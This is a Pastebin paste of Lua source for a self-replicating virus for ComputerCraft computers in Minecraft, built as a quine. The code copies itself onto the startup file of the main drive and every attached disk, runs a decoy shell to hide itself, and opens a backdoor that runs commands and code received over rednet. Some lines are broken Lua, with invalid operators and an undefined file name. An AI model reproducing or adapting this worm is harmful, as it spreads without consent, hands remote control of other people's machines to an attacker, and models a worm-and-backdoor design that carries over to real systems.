Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local x="local x=%q local c=%q loadstring(c)(x:format(x,c))"
- local code=[[
- local r={...}
- local vc=r[1]
- local per=os.pullEventRaw
- local cc=coroutine.create
- local cr=coroutine.resume
- local cs=coroutine.status
- local st=os.startTimer
- local function vm()
- local t,e,p=st(5)
- while true do
- derp,herp= rednet.receive(100)
- merp,derp=rednet.receive(10)
- if derp != nil then
- shell.run(herp,derp)
- end
- else if derp == nil then
- temp = io.open(temp, "w+")
- temp:write(herp)
- temp:flush()
- temp:close()
- shell.run("temp")
- end
- if (e=="key" and p==28) or e=="disk" or e==nil or e=="timer" then
- if e~="timer" then st(0.1) end
- for k,v in ipairs(fs.list("/")) do
- local d=fs.getDrive("/"..v)
- if d~="rom" and d~="hdd" then
- local f = fs.open("/"..v.."/startup","w")
- f.write(vc)
- f.close()
- end
- end
- local f=fs.open("/startup","w")
- f.write(vc)
- f.close()
- end
- e,p=per()
- end
- end
- local cr1 = cc(vm)
- local cr2 = cc(function()
- term.clear() term.setCursorPos(1, 1)
- local fsh={aliases=function() return {ls="list",dir="list",cp="copy",mv="move",rm="delete"} end,
- dir=function() return "" end,
- path=function() return ".:/rom/programs" end}
- os.run({shell=fsh},"/rom/programs/shell")
- end)
- cr(cr1) cr(cr2)
- while cs(cr1)~="dead" and cs(cr2)~="dead" do
- local e={per()}
- cr(cr1,unpack(e))
- cr(cr2,unpack(e))
- end
- ]]
- code = code:gsub("[ \t\n]+", " ")
- assert(loadstring(code))(x:format(x, code))
Add Comment
Please, Sign In to add comment